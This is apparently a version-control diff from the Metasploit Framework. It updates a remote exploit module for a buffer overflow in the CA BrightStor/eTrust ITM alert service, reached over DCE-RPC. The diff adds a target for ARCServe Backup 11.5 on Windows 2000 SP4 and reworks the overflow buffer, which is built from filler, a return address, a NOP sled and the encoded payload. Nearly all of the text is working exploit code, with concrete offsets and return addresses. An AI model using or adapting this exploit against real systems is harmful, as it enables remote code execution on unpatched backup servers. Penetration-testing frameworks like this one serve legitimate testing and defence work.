updated to support ca brightstor arcserv 11.5.
git-svn-id: file:///home/svn/framework3/trunk@5480 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
caa9619368
commit
46bcd7fa4f
|
@ -50,8 +50,9 @@ class Exploits::Windows::Brightstor::Etrust_ITM_Alert < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 2003 SP0 English', { 'Ret' => 0x77e03efb } ],
|
||||
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ],
|
||||
[ 'Windows 2003 SP0 English', { 'Offset' => 979, 'Ret' => 0x77e03efb } ],
|
||||
[ 'Windows 2000 SP4 English', { 'Offset' => 979, 'Ret' => 0x7c30d043 } ],
|
||||
[ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui
|
||||
],
|
||||
'DisclosureDate' => 'Apr 4 2008',
|
||||
'DefaultTarget' => 0))
|
||||
|
@ -73,7 +74,8 @@ class Exploits::Windows::Brightstor::Etrust_ITM_Alert < Msf::Exploit::Remote
|
|||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
filler = rand_text_english(979) + [target.ret].pack('V') + make_nops(12) + payload.encoded
|
||||
filler = rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12)
|
||||
filler << payload.encoded + rand_text_english(772)
|
||||
|
||||
sploit = NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00")
|
||||
sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0)
|
||||
|
|
Loading…
Reference in New Issue